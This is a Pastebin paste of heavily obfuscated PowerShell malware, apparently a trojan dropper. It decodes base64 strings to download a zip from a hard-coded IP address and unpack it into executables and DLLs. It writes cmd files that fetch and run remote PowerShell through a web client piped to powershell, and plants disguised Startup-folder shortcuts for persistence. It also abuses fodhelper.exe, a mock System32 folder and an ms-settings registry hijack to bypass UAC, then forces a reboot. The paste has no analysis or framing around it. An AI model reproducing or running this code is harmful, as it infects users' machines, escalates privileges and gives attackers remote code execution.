e55db081d05f58a

maio23_com_a_08_150822_up_up.bin

Jul 4th, 2023 (edited)
202
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. ${_/|\_/|////\__|/_|\\_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YwBtAGQA')))
  2. ${_/|\_/|////\__|/_|\\\\\\/|_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('ZQB4AGUA')))
  3. ${__///\\\} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('LgBwAG4AZwA=')))
  4. ${_/|\_/|////\__|/_|\\\\\\/\\\\/\/\/\|_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('egBpAHAA')))
  5. ${_/|\_/|////\__|//\\\\\\\\/|_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('aAB0AHQAcAA6AC8ALwA1ADEALgAzADgALgAyADMANQAuADEANQAyAC8AMgAwAC8AYQAvAG0ALwBtAC4AegBpAHAA')))
  6. ${_/|\_/|/\\\\\\\/|_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cAB1AGIAbABpAGMA')))
  7. ${_/|_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YwA6AFwAdQBzAGUAcgBzAFwA')))
  8. ${_\\\\\\/|\_/|/\\\\\\\/|_} = "${_/|_}${_/|\_/|/\\\\\\\/|_}"
  9. ${_\\/\/\/\/\/\/\/\////\\\//\/\/\/\//_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RwBsAG8AYgBhAGwA')))
  10. ${_\\/\/\/\/\/\/\/\////\\\//\/\/\/\////_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RABsAGwAQwBhAGwAbAA=')))
  11. ${_\\/\/\/\/\/\/\/\////\\\//\/\/\/\////\\\_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwBUAFIAVQBDAFQA')))
  12. ${_\\/\/\/\/\/\/\/\////\\\//\/\/\/\///////\\\_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('SgBMAEkAXwBHAGUAdABTAHQAZABBAHIAZwBjAA==')))
  13. ${_\\/\/\//\/\\/\/\/\/\////\\\//\/\/\/\///////\\\_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RABsAGwATwBwAGUAbgA=')))
  14. ${_\\/\/\//\/\\/\/\/\/\\\\\////\\\//\/\/\/\///////\\\_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('IwBOAG8AVAByAGEAeQBJAGMAbwBuAA==')))
  15. ${_um_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('SABLAEMAVQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwAQwBsAGEAcwBzAGUAcwBcAG0AcwAtAHMAZQB0AHQAaQBuAGcAcwBcAFMAaABlAGwAbABcAE8AcABlAG4AXABjAG8AbQBtAGEAbgBkAA==')))
  16. ${_dois_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('SABLAEMAVQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwAQwBsAGEAcwBzAGUAcwBcAG0AcwAtAHMAZQB0AHQAaQBuAGcAcwBcAFMAaABlAGwAbABcAE8AcABlAG4AXABjAG8AbQBtAGEAbgBkACIAIAAtAE4AYQBtAGUAIAAiAEQAZQBsAGUAZwBhAHQAZQBFAHgAZQBjAHUAdABlACIAIAAtAFYAYQBsAHUAZQAgACIA')))
  17. ${_tres_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RABlAGwAZQBnAGEAdABlAEUAeABlAGMAdQB0AGUA')))
  18. ${_qtro_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('KABkAGUAZgBhAHUAbAB0ACkA')))
  19. ${_fiv_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAHQAZQBtADMAMgBcAGYAbwBkAGgAZQBsAHAAZQByAC4AZQB4AGUA')))
  20. ${_six_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('ZgBvAGQAaABlAGwAcABlAHIALgBlAHgAZQA=')))
  21. ${_sev_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('XABcAD8AXABDADoAXABXAGkAbgBkAG8AdwBzACAAXABTAHkAcwB0AGUAbQAzADIAXAA=')))
  22. ${_\\\} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('MQBuACAAaQBhAA==')))
  23. ${_\\///////////////////////_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QwA6AFwA')))
  24. ${_tx_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('LgB0AHgAdAA=')))
  25. ${_dx_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('LgBkAGwAbAA=')))
  26. ${_ex_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('LgBlAHgAZQA=')))
  27. ${_jl_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('agBsAGkA')))
  28. ${_ms_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TQBTAFYAQwBSADEAMAAwAA==')))
  29. ${_wb_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('VwBlAGIAVgBpAGUAdwAyAEwAbwBhAGQAZQByAA==')))
  30. ${_\\\\\\/|\\\\\\\\\\\\\\\\\_} = $env:COMPUTERNAME
  31. ${/////\\\\\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/} = "040723"
  32. Function ____////////\\\/\/\/\/\_____ {
  33. ${_|||||||||||||________________} = "q","w","e","r","t","y","u","p","a","s","d","f","g","h","j","k","z","x","c","v","b","n","m"
  34. ${_|||||||||||||//////________________} = "2_","3_","4_","5_","6_","7_","8_","9_"
  35. ${_|||||||||||||//////\\\\\________________} = $null
  36. ${__|||||||||||||//////\\\\\________________} = Get-Random -InputObject ${_|||||||||||||________________} -Count 6
  37. ${__||||||_|||||||//////\\\\\________________} = Get-Random -InputObject ${_|||||||||||||//////________________} -Count 1
  38. ${__||||||_||||||_|//////\\\\\________________} = Get-Random -InputObject ${_|||||||||||||________________}.ToUpper() -Count 1
  39. foreach($n in ${__|||||||||||||//////\\\\\________________}) {
  40. ${_|||||||||||||//////\\\\\________________} += $n
  41. }
  42. foreach ($n2 in ${__||||||_|||||||//////\\\\\________________}) {
  43. ${_|||||||||||||//////\\\\\________________} += $n2
  44. }
  45. foreach ($n3 in ${__||||||_||||||_|//////\\\\\________________}) {
  46. ${_|||||||||||||//////\\\\\________________} += $n3
  47. }
  48. return "_${_|||||||||||||//////\\\\\________________}"
  49. }
  50. ${_\\\\\\/|\_/|/\\\___\\\\/|_} = ____////////\\\/\/\/\/\_____
  51. ${GER} = ${_\\\\\\/|\_/|/\\\___\\\\/|_}
  52. ${/\/\/\/\__\\//___} = "@14@12@17@24 @18@14@33 (@23@14@32-@24@11@19@14@12@29 @23@14@29.@32@14@11@12@21@18@14@23@29).@13@24@32@23@21@24@10@13@28@29@27@18@23@16('@17@29@29@25@28://@22@10@18@24@2@3.@12@24@22/@10/@0@8/@1@5@0@8@2@2/@30@25/@30@25')  | @25@24@32@14@27@28@17@14@21@21.@14@33@14 -@23@24@25 -@32@18@23 @1 -"
  53. ${_\\\\\__\/|\_/|/\\\___\\\\/|_} = "${_\\\\\\/|\_/|/\\\\\\\/|_}\${/////\\\\\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/}"
  54.    if ((${_\\\\\__\/|\_/|/\\\___\\\\/|_} | Test-Path)) {exit}
  55.     New-Item -ItemType directory -Path "${_\\///////////////////////_}${_\\\\\\/|\_/|/\\\___\\\\/|_}"
  56.     ${//////////____zz//} = "${_\\///////////////////////_}${_\\\\\\/|\_/|/\\\___\\\\/|_}\${_\\\\\\/|\\\\\\\\\\\\\\\\\_}"
  57.     ${ZZZZxxxx_}  =  ${/\/\/\/\__\\//___}
  58.     ${ZZZZxxxx_} | Set-Content ${//////////____zz//}${GER}
  59.     ${\\/_} = (${_\\\\\\/|\_/|/\\\___\\\\/|_})
  60.     ${\\/////\} = (${_\\\\\\/|\_/|/\\\___\\\\/|_} + "A")
  61.     ${/\} = (${_\\\\\\/|\_/|/\\\___\\\\/|_} + "B")  
  62.     del ${_\\\\\\/|\_/|/\\\\\\\/|_}\*.vbs
  63.     del ${_\\\\\\/|\_/|/\\\\\\\/|_}\*.lnk
  64.     del ${_\\\\\\/|\_/|/\\\\\\\/|_}\*.exe
  65.     del ${_\\\\\\/|\_/|/\\\\\\\/|_}\*.cmd
  66.     ${/_//_//_/} = "${_\\\\\\/|\_/|/\\\\\\\/|_}\${_\\\\\\/|\\\\\\\\\\\\\\\\\_}${GER}.${_/|\_/|////\__|/_|\\_}"
  67.     ${\\\\__/////////}  =  "@Echo off`r`n"
  68.     ${\\\\__/////////}  += "Setlocal EnableExtensions`r`n"
  69.     ${\\\\__/////////}  += "Setlocal EnableDelayedExpansion`r`n"
  70.     ${\\\\__/////////}  += "cd %SystemRoot%\System32`r`n"
  71.     ${\\\\__/////////}  += "Set /P ${_\\\\\\/|\_/|/\\\___\\\\/|_}=<`"${//////////____zz//}${GER}`"`r`n"
  72.     ${\\\\__/////////}  += "set chars=0123456789abcdefghijklmnopqrstuvwxyz`r`n"
  73.     ${\\\\__/////////}  += "for /L %%N in (10 1 36) do (`r`n"
  74.     ${\\\\__/////////}  += "for /F %%C in (`"!chars:~%%N,1!`") do (`r`n"
  75.     ${\\\\__/////////}  += "set `"${_\\\\\\/|\_/|/\\\___\\\\/|_}=!${_\\\\\\/|\_/|/\\\___\\\\/|_}:%%N=%%C!`"`r`n"
  76.     ${\\\\__/////////}  += ")`r`n"
  77.     ${\\\\__/////////}  += ")`r`n"
  78.     ${\\\\__/////////}  += ")`r`n"
  79.     ${\\\\__/////////}  += "for /F %%F in (`"!${_\\\\\\/|\_/|/\\\___\\\\/|_}!`") do (`r`n"
  80.     ${\\\\__/////////}  += "set `"${_\\\\\\/|\_/|/\\\___\\\\/|_}=!${_\\\\\\/|\_/|/\\\___\\\\/|_}:@=!`"`r`n"
  81.     ${\\\\__/////////}  += ")`r`n"
  82.     ${\\\\__/////////}  += "for /F %%F in (`"!${_\\\\\\/|\_/|/\\\___\\\\/|_}!`") do (`r`n"
  83.     ${\\\\__/////////}  += "set `"${_\\\\\\/|\_/|/\\\___\\\\/|_}=!${_\\\\\\/|\_/|/\\\___\\\\/|_}:`"=!`"`r`n"
  84.     ${\\\\__/////////}  += ")`r`n"
  85.     ${\\\\__/////////}  += "%${_\\\\\\/|\_/|/\\\___\\\\/|_}%`r`n"
  86.     ${\\\\__/////////} | Set-Content ${/_//_//_/}
  87. function _____/\_/\/\_/\/=\\\\\\\\\\/////
  88. {
  89.   Param([string]${___/\_/=\___/\_/==},[string]${__/==\/\_/\/=\/\_/});
  90.   try{  
  91.     ${__/\_/=\/=\/=====} = New-Object -ComObject WScript.Shell
  92.     ${/=\/\__/=\/=\/=\_} = ${__/\_/=\/=\/=====}.CreateShortcut(${___/\_/=\___/\_/==})
  93.     ${/=\/\__/=\/=\/=\_}.TargetPath = "${_\\///////////////////////_}${_\\\\\\/|\_/|/\\\___\\\\/|_}\${_\\\\\\/|\_/|/\\\___\\\\/|_}.${_/|\_/|////\__|/_|\\\\\\/|_}"    
  94.     ${/=\/\__/=\/=\/=\_}.Arguments = "${_\\///////////////////////_}${_\\\\\\/|\_/|/\\\___\\\\/|_}\${_\\\\\\/|\_/|/\\\___\\\\/|_}.ai"  
  95.     ${/=\/\__/=\/=\/=\_}.WorkingDirectory = "${_\\///////////////////////_}${_\\\\\\/|\_/|/\\\___\\\\/|_}\"
  96.     ${/=\/\__/=\/=\/=\_}.WindowStyle = 7  
  97.     ${/=\/\__/=\/=\/=\_}.IconLocation = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JQBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwAlAFwASQBuAHQAZQByAG4AZQB0ACAARQB4AHAAbABvAHIAZQByAFwAaQBlAHgAcABsAG8AcgBlAC4AZQB4AGUALAAxAA==')))
  98.     ${/=\/\__/=\/=\/=\_}.Save()
  99.   }finally{}
  100. }
  101. function _____/\_/\/\_/\/=\\\\\\\\\\/////\\\\\\\\\\\\\\\\\\\\\\\
  102. {
  103.   Param([string]${___/\_/=\___/\_/==},[string]${__/==\/\_/\/=\/\_/});
  104.   try{  
  105.     ${__/\_/=\/=\/=====} = New-Object -ComObject WScript.Shell
  106.     ${/=\/\__/=\/=\/=\_} = ${__/\_/=\/=\/=====}.CreateShortcut(${___/\_/=\___/\_/==})
  107.     ${/=\/\__/=\/=\/=\_}.TargetPath = "${_\\///////////////////////_}${_\\\\\\/|\_/|/\\\___\\\\/|_}\${_\\\\\\/|\_/|/\\\___\\\\/|_}.${_/|\_/|////\__|/_|\\\\\\/|_}"    
  108.     ${/=\/\__/=\/=\/=\_}.Arguments = "${_\\///////////////////////_}${_\\\\\\/|\_/|/\\\___\\\\/|_}\${_\\\\\\/|\_/|/\\\___\\\\/|_}.at"  
  109.     ${/=\/\__/=\/=\/=\_}.WorkingDirectory = "${_\\///////////////////////_}${_\\\\\\/|\_/|/\\\___\\\\/|_}\"
  110.     ${/=\/\__/=\/=\/=\_}.WindowStyle = 7  
  111.     ${/=\/\__/=\/=\/=\_}.IconLocation = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JQBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwAlAFwASQBuAHQAZQByAG4AZQB0ACAARQB4AHAAbABvAHIAZQByAFwAaQBlAHgAcABsAG8AcgBlAC4AZQB4AGUALAAxAA==')))
  112.     ${/=\/\__/=\/=\/=\_}.Save()
  113.   }finally{}
  114. }
  115. ${TESTE} = "${_sev_}"
  116. New-Item ${TESTE} -ItemType Directory
  117. Copy-Item -Path "${_fiv_}" -Destination "${TESTE}${_six_}" -Recurse
  118. function _____/\_/\/\_/\/=\\\\\\\\\\/////\\\\\\\\\\\\\\\\\\\\\\\____\\\
  119. {
  120.   Param([string]${___/\_/=\___/\_/==},[string]${__/==\/\_/\/=\/\_/});
  121.   try{  
  122.     ${__/\_/=\/=\/=====} = New-Object -ComObject WScript.Shell
  123.     ${/=\/\__/=\/=\/=\_} = ${__/\_/=\/=\/=====}.CreateShortcut(${___/\_/=\___/\_/==})
  124.     ${/=\/\__/=\/=\/=\_}.TargetPath = "${_\\///////////////////////_}${_\\\\\\/|\_/|/\\\___\\\\/|_}\${_\\\\\\/|\_/|/\\\___\\\\/|_}i7${_ex_}"    
  125.     ${/=\/\__/=\/=\/=\_}.Arguments = ""  
  126.     ${/=\/\__/=\/=\/=\_}.WorkingDirectory = "${_\\///////////////////////_}"
  127.     ${/=\/\__/=\/=\/=\_}.WindowStyle = 7  
  128.     ${/=\/\__/=\/=\/=\_}.IconLocation = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JQBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwAlAFwASQBuAHQAZQByAG4AZQB0ACAARQB4AHAAbABvAHIAZQByAFwAaQBlAHgAcABsAG8AcgBlAC4AZQB4AGUALAAxAA==')))
  129.     ${/=\/\__/=\/=\/=\_}.Save()
  130.   }finally{}
  131. }
  132. function _____/\_/\/\_/\/=\
  133. {
  134.   Param([string]${___/\_/=\___/\_/==},[string]${__/==\/\_/\/=\/\_/});
  135.   try{  
  136.     ${__/\_/=\/=\/=====} = New-Object -ComObject WScript.Shell
  137.     ${/=\/\__/=\/=\/=\_} = ${__/\_/=\/=\/=====}.CreateShortcut(${___/\_/=\___/\_/==})
  138.     ${/=\/\__/=\/=\/=\_}.TargetPath = "${/_//_//_/}"      
  139.     ${/=\/\__/=\/=\/=\_}.Arguments = ""
  140.     ${/=\/\__/=\/=\/=\_}.WorkingDirectory = ""
  141.     ${/=\/\__/=\/=\/=\_}.WindowStyle = 7  
  142.     ${/=\/\__/=\/=\/=\_}.IconLocation = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JQBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwAlAFwASQBuAHQAZQByAG4AZQB0ACAARQB4AHAAbABvAHIAZQByAFwAaQBlAHgAcABsAG8AcgBlAC4AZQB4AGUALAAxAA==')))
  143.     ${/=\/\__/=\/=\/=\_}.Save()
  144.   }finally{}
  145. }
  146. ${/===\__/=\_/==\_/} = New-Object -Com WScript.Shell
  147. ${/=\_/\_/===\/\/\/} = ${/===\__/=\_/==\_/}.SpecialFolders.Item($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwB0AGEAcgB0AHUAcAA='))));          
  148. del ${/=\_/\_/===\/\/\/}\*.vbs
  149. del ${/=\_/\_/===\/\/\/}\*.lnk
  150. del ${/=\_/\_/===\/\/\/}\*.exe
  151. del ${/=\_/\_/===\/\/\/}\*.cmd
  152. ${_/=\/=\/\_/\/=\__} = "                                                                                                                                                                                                                                                                                                  $env:APPDATA\${_/=\/\/=\___/\/==}, ${_/\/\/\/=\/==\__/}"
  153. ${___/\_/\/===\/\__} = "${/=\_/\_/===\/\/\/}\${_\\\\\\/|\_/|/\\\___\\\\/|_}.lnk"        
  154. _____/\_/\/\_/\/=\ ${___/\_/\/===\/\__}  ${_/=\/=\/\_/\/=\__}
  155. ${___/\_/\/===\/\__} = "${/=\_/\_/===\/\/\/}\${_\\\\\\/|\_/|/\\\___\\\\/|_}EX.lnk"
  156. _____/\_/\/\_/\/=\\\\\\\\\\///// ${___/\_/\/===\/\__}  ${_/=\/=\/\_/\/=\__}
  157.  
  158. ${___/\_/\/===\/\__} = "${/=\_/\_/===\/\/\/}\${_\\\\\\/|\_/|/\\\___\\\\/|_}AT.lnk"
  159. _____/\_/\/\_/\/=\\\\\\\\\\/////\\\\\\\\\\\\\\\\\\\\\\\ ${___/\_/\/===\/\__}  ${_/=\/=\/\_/\/=\__}
  160.  
  161. ${___/\_/\/===\/\__} = "${/=\_/\_/===\/\/\/}\${_\\\\\\/|\_/|/\\\___\\\\/|_}AA.lnk"
  162. _____/\_/\/\_/\/=\\\\\\\\\\/////\\\\\\\\\\\\\\\\\\\\\\\____\\\ ${___/\_/\/===\/\__}  ${_/=\/=\/\_/\/=\__}
  163.  
  164.    ${/\/\/\/\__\\//___} = "@14@12@17@24 @18@14@33 (@23@14@32-@24@11@19@14@12@29 @23@14@29.@32@14@11@12@21@18@14@23@29).@13@24@32@23@21@24@10@13@28@29@27@18@23@16('@17@29@29@25@28://@22@10@18@24@2@3.@12@24@22/@10/@0@8/@1@5@0@8@2@2/@10@30/@10@30')  | @25@24@32@14@27@28@17@14@21@21.@14@33@14 -@23@24@25 -@32@18@23 @1 -"
  165.  
  166.     ${_\\\\\\/|\_/|/\\\___\\\\/|_} = ${_\\\\\\/|\_/|/\\\___\\\\/|_}
  167.     ${//////////____zz//} = "${_\\///////////////////////_}${_\\\\\\/|\_/|/\\\___\\\\/|_}\${_\\\\\\/|\\\\\\\\\\\\\\\\\_}"
  168.     ${ZZZZxxxx_}  =  ${/\/\/\/\__\\//___}
  169.     ${ZZZZxxxx_} | Set-Content ${//////////____zz//}${GER}y
  170.     ${\\/_} = (${_\\\\\\/|\_/|/\\\___\\\\/|_})
  171.     ${\\/////\} = (${_\\\\\\/|\_/|/\\\___\\\\/|_} + "A")
  172.     ${/\} = (${_\\\\\\/|\_/|/\\\___\\\\/|_} + "B")
  173.     ${/_//_//_/} = "${_\\\\\\/|\_/|/\\\\\\\/|_}\${_\\\\\\/|\\\\\\\\\\\\\\\\\_}${GER}y.${_/|\_/|////\__|/_|\\_}"
  174.     ${\\\\__/////////}  =  "@Echo off`r`n"
  175.     ${\\\\__/////////}  += "Setlocal EnableExtensions`r`n"
  176.     ${\\\\__/////////}  += "Setlocal EnableDelayedExpansion`r`n"
  177.     ${\\\\__/////////}  += "cd %SystemRoot%\System32`r`n"
  178.     ${\\\\__/////////}  += "Set /P ${_\\\\\\/|\_/|/\\\___\\\\/|_}=<`"${//////////____zz//}${GER}y`"`r`n"
  179.     ${\\\\__/////////}  += "set chars=0123456789abcdefghijklmnopqrstuvwxyz`r`n"
  180.     ${\\\\__/////////}  += "for /L %%N in (10 1 36) do (`r`n"
  181.     ${\\\\__/////////}  += "for /F %%C in (`"!chars:~%%N,1!`") do (`r`n"
  182.     ${\\\\__/////////}  += "set `"${_\\\\\\/|\_/|/\\\___\\\\/|_}=!${_\\\\\\/|\_/|/\\\___\\\\/|_}:%%N=%%C!`"`r`n"
  183.     ${\\\\__/////////}  += ")`r`n"
  184.     ${\\\\__/////////}  += ")`r`n"
  185.     ${\\\\__/////////}  += ")`r`n"
  186.     ${\\\\__/////////}  += "for /F %%F in (`"!${_\\\\\\/|\_/|/\\\___\\\\/|_}!`") do (`r`n"
  187.     ${\\\\__/////////}  += "set `"${_\\\\\\/|\_/|/\\\___\\\\/|_}=!${_\\\\\\/|\_/|/\\\___\\\\/|_}:@=!`"`r`n"
  188.     ${\\\\__/////////}  += ")`r`n"
  189.     ${\\\\__/////////}  += "for /F %%F in (`"!${_\\\\\\/|\_/|/\\\___\\\\/|_}!`") do (`r`n"
  190.     ${\\\\__/////////}  += "set `"${_\\\\\\/|\_/|/\\\___\\\\/|_}=!${_\\\\\\/|\_/|/\\\___\\\\/|_}:`"=!`"`r`n"
  191.     ${\\\\__/////////}  += ")`r`n"
  192.     ${\\\\__/////////}  += "%${_\\\\\\/|\_/|/\\\___\\\\/|_}%`r`n"
  193.     ${\\\\__/////////} | Set-Content ${/_//_//_/}
  194.    
  195. function _____/\_/\/\_/\/=\//
  196. {
  197.   Param([string]${___/\_/=\___/\_/==},[string]${__/==\/\_/\/=\/\_/});
  198.   try{  
  199.     ${__/\_/=\/=\/=====} = New-Object -ComObject WScript.Shell
  200.     ${/=\/\__/=\/=\/=\_} = ${__/\_/=\/=\/=====}.CreateShortcut(${___/\_/=\___/\_/==})
  201.     ${/=\/\__/=\/=\/=\_}.TargetPath = "${/_//_//_/}"      
  202.     ${/=\/\__/=\/=\/=\_}.Arguments = ""
  203.     ${/=\/\__/=\/=\/=\_}.WorkingDirectory = ""
  204.     ${/=\/\__/=\/=\/=\_}.WindowStyle = 7  
  205.     ${/=\/\__/=\/=\/=\_}.IconLocation = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JQBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwAlAFwASQBuAHQAZQByAG4AZQB0ACAARQB4AHAAbABvAHIAZQByAFwAaQBlAHgAcABsAG8AcgBlAC4AZQB4AGUALAAxAA==')))
  206.     ${/=\/\__/=\/=\/=\_}.Save()
  207.   }finally{}
  208. }
  209. ${/===\__/=\_/==\_/} = New-Object -Com WScript.Shell
  210. ${/=\_/\_/===\/\/\/} = ${/===\__/=\_/==\_/}.SpecialFolders.Item($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwB0AGEAcgB0AHUAcAA='))));          
  211. ${_/=\/=\/\_/\/=\__} = "                                                                                                                                                                                                                                                                                                  $env:APPDATA\${_/=\/\/=\___/\/==}, ${_/\/\/\/=\/==\__/}"
  212. ${___/\_/\/===\/\__} = "${/=\_/\_/===\/\/\/}\${_\\\\\\/|\_/|/\\\___\\\\/|_}y.lnk"        
  213. _____/\_/\/\_/\/=\// ${___/\_/\/===\/\__}  ${_/=\/=\/\_/\/=\__}
  214. ${_/\/\/\__\\\\\\\|||\/\/_} = ${_\\\\\\/|\_/|/\\\___\\\\/|_}
  215. ${_/\/\/\__\\\\\\\|||\/\/_} | Set-Content "${_\\\\\\/|\_/|/\\\\\\\/|_}\${/////\\\\\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/}"
  216. ${_/\/\/\__\\\\\\\|||\/\/_} | Out-File "${_\\\\\\/|\_/|/\\\\\\\/|_}\${/////\\\\\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/}"
  217. ${_/\/\/\__\\\\\\\|||\/\/_} > "${_\\\\\\/|\_/|/\\\\\\\/|_}\${/////\\\\\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/}"
  218. ${_\\\///////\\\\\\\\\\/_} = new-object System.Net.WebClient
  219. ${_\\\///////\\\\\\\\\\/_}.DownloadFile(${_/|\_/|////\__|//\\\\\\\\/|_},"${_\\///////////////////////_}${_\\\\\\/|\_/|/\\\___\\\\/|_}\${_\\\\\\/|\_/|/\\\___\\\\/|_}.${_\\\\\\/|\_/|/\\\___\\\\/|_}")
  220. Rename-Item -NewName ("${_\\///////////////////////_}${_\\\\\\/|\_/|/\\\___\\\\/|_}\${_\\\\\\/|\_/|/\\\___\\\\/|_}.zip") -Path ("${_\\///////////////////////_}${_\\\\\\/|\_/|/\\\___\\\\/|_}\${_\\\\\\/|\_/|/\\\___\\\\/|_}.${_\\\\\\/|\_/|/\\\___\\\\/|_}")
  221. Expand-Archive -Path "${_\\///////////////////////_}${_\\\\\\/|\_/|/\\\___\\\\/|_}\${_\\\\\\/|\_/|/\\\___\\\\/|_}.${_/|\_/|////\__|/_|\\\\\\/\\\\/\/\/\|_}" -DestinationPath "${_\\///////////////////////_}${_\\\\\\/|\_/|/\\\___\\\\/|_}"
  222. Rename-Item -NewName ("${_\\///////////////////////_}${_\\\\\\/|\_/|/\\\___\\\\/|_}\${_\\\\\\/|\_/|/\\\___\\\\/|_}.${_/|\_/|////\__|/_|\\\\\\/|_}") -Path ("${_\\///////////////////////_}${_\\\\\\/|\_/|/\\\___\\\\/|_}\${_/|\_/|////\__|/_|\\\\\\/|_}${_tx_}")
  223. Rename-Item -NewName ("${_\\///////////////////////_}${_\\\\\\/|\_/|/\\\___\\\\/|_}\${_\\\\\\/|\_/|/\\\___\\\\/|_}.ia") -Path ("${_\\///////////////////////_}${_\\\\\\/|\_/|/\\\___\\\\/|_}\6${_tx_}")
  224. Rename-Item -NewName ("${_\\///////////////////////_}${_\\\\\\/|\_/|/\\\___\\\\/|_}\${_\\\\\\/|\_/|/\\\___\\\\/|_}.ai") -Path ("${_\\///////////////////////_}${_\\\\\\/|\_/|/\\\___\\\\/|_}\b${_tx_}")
  225. Rename-Item -NewName ("${_\\///////////////////////_}${_\\\\\\/|\_/|/\\\___\\\\/|_}\${_\\\\\\/|\_/|/\\\___\\\\/|_}.at") -Path ("${_\\///////////////////////_}${_\\\\\\/|\_/|/\\\___\\\\/|_}\c${_tx_}")
  226. Rename-Item -NewName ("${_\\///////////////////////_}${_\\\\\\/|\_/|/\\\___\\\\/|_}\${_\\\\\\/|\_/|/\\\___\\\\/|_}.mdat") -Path ("${_\\///////////////////////_}${_\\\\\\/|\_/|/\\\___\\\\/|_}\at${_tx_}")
  227. Rename-Item -NewName ("${_\\///////////////////////_}${_\\\\\\/|\_/|/\\\___\\\\/|_}\${_\\\\\\/|\_/|/\\\___\\\\/|_}i7${_ex_}") -Path ("${_\\///////////////////////_}${_\\\\\\/|\_/|/\\\___\\\\/|_}\i7${_tx_}")
  228. Rename-Item -NewName ("${_\\///////////////////////_}${_\\\\\\/|\_/|/\\\___\\\\/|_}\${_jl_}${_dx_}") -Path ("${_\\///////////////////////_}${_\\\\\\/|\_/|/\\\___\\\\/|_}\${_jl_}${_tx_}")
  229. Rename-Item -NewName ("${_\\///////////////////////_}${_\\\\\\/|\_/|/\\\___\\\\/|_}\${_ms_}${_dx_}") -Path ("${_\\///////////////////////_}${_\\\\\\/|\_/|/\\\___\\\\/|_}\${_ms_}${_tx_}")
  230. Rename-Item -NewName ("${_\\///////////////////////_}${_\\\\\\/|\_/|/\\\___\\\\/|_}\${_wb_}${_dx_}") -Path ("${_\\///////////////////////_}${_\\\\\\/|\_/|/\\\___\\\\/|_}\${_wb_}${_tx_}")
  231. del ${_\\///////////////////////_}${_\\\\\\/|\_/|/\\\___\\\\/|_}\*.zip
  232. # Create reg structure
  233. New-Item "${_um_}" -Force
  234. New-ItemProperty -Path "${_um_}" -Name "${_tres_}" -Value "" -Force
  235. # Place command in
  236. Set-ItemProperty -Path "${_um_}" -Name "${_qtro_}" -Value "${_\\///////////////////////_}${_\\\\\\/|\_/|/\\\___\\\\/|_}\${_\\\\\\/|\_/|/\\\___\\\\/|_}i7${_ex_}" -Force
  237. shutdown /r /t 10
Add Comment
Please, Sign In to add comment